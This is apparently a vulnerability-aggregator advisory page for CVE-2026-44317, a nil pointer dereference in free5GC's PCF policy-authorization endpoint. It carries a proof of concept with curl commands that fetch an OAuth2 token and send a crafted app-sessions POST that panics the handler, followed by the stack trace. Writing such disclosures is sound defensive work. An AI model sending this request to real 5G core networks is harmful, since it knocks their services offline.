Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-44317 — free5gc

🟡 CVSS 6.5 — Medium ⚠️ Exploit Public CWE-476 NVD
6.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

free5GC's PCF npcf-policyauthorization POST /app-sessions panics on suppFeat=1 with missing AfRoutReq via nil pointer dereference

Summary

free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat == "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq == nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500.

The trigger is a single valid authenticated request -- changing only suppFeat from "0" to "1" flips the same shape of POST from a normal 201 Created into a panic-driven 500.

This endpoint requires a valid npcf-policyauthorization OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path.

Details

Validated against the PCF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • PCF endpoint: http://10.100.200.9:8000
  • Validation date: 2026-03-12

Vulnerable handler path:

```

postAppSessCtxProcedure

-> medComponents loop

-> appID := medComp.AfAppId

routeReq := medComp.AfRoutReq // nil when AfRoutReq absent

provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus)

```

In provisioningOfTrafficRoutingInfo, routeReq.RouteToLocs, routeReq.UpPathChgSub, and routeReq.AppReloc are dereferenced directly without a nil check. When suppFeat is "0" the traffic-routing branch is not entered and the same input shape returns 201 Created; when suppFeat is "1" the branch is entered and the nil-deref fires.

Code evidence (paths in free5gc/pcf):

  • Affected route + dispatch: NFs/pcf/internal/sbi/api_policyauthorization.go
  • Create handler path: NFs/pcf/internal/sbi/processor/policyauthorization.go
  • Call site that passes nil routeReq into the traffic-routing helper: NFs/pcf/internal/sbi/processor/policyauthorization.go
  • Panic site (nil deref of routeReq.* fields): NFs/pcf/internal/sbi/processor/policyauthorization.go:1740

PoC

Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.

1. Obtain a valid npcf-policyauthorization token from NRF:

```

curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \

-H 'Content-Type: application/x-www-form-urlencoded' \

--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization'

```

2. Trigger the panic with a single valid authenticated POST whose ascReqData.suppFeat == "1", medComponents supplies afAppId, and AfRoutReq is absent:

```

curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \

-H 'Content-Type: application/json' \

-H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \

--data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}'

```

```

HTTP/1.1 500 Internal Server Error

```

3. Control comparison -- same request shape but suppFeat="0" -> normal 201 Created:

```

curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \

-H 'Content-Type: application/json' \

-H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \

--data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}'

```

```

HTTP/1.1 201 Created

```

4. PCF container logs show the panic stack landing in provisioningOfTrafficRoutingInfo with routeReq = 0x0:

```

[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference

github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...)

.../policyauthorization.go:1740

github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure

.../policyauthorization.go:288

github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext

.../policyauthorization.go:139

github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions

.../api_policyauthorization.go:119

[INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions |

```

Impact

NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes routeReq straight into provisioningOfTrafficRoutingInfo without a nil check, even though medComp.AfRoutReq is optional and is nil for the demonstrated valid input shape. The control experiment with suppFeat="0" proves

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-44317 is classified as CWE-476: NULL Pointer Dereference. A pointer that can be null is used without a check, crashing the process.

Affected software

CVE-2026-44317 is recorded against 2 packages.

  • free5gc (fixed in 4.2.2)
  • github.com/free5gc/pcf

Timeline and source

Published on 27 May 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com
github.com
github.com

Other advisories for this package

free5gc has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-476: NULL Pointer Dereference) in other software:

Details

Severity MEDIUM
CVSS Score 6.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE CWE-476
Public Exploit ⚠️ Yes
Source NVD
Published 2026-05-27
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
free5gc 4.2.2
github.com/free5gc/pcf

Similar Threats

Exploit Protection

Are you running free5gc?

CVE-2026-44317 carries CVSS 6.5 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-44317 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026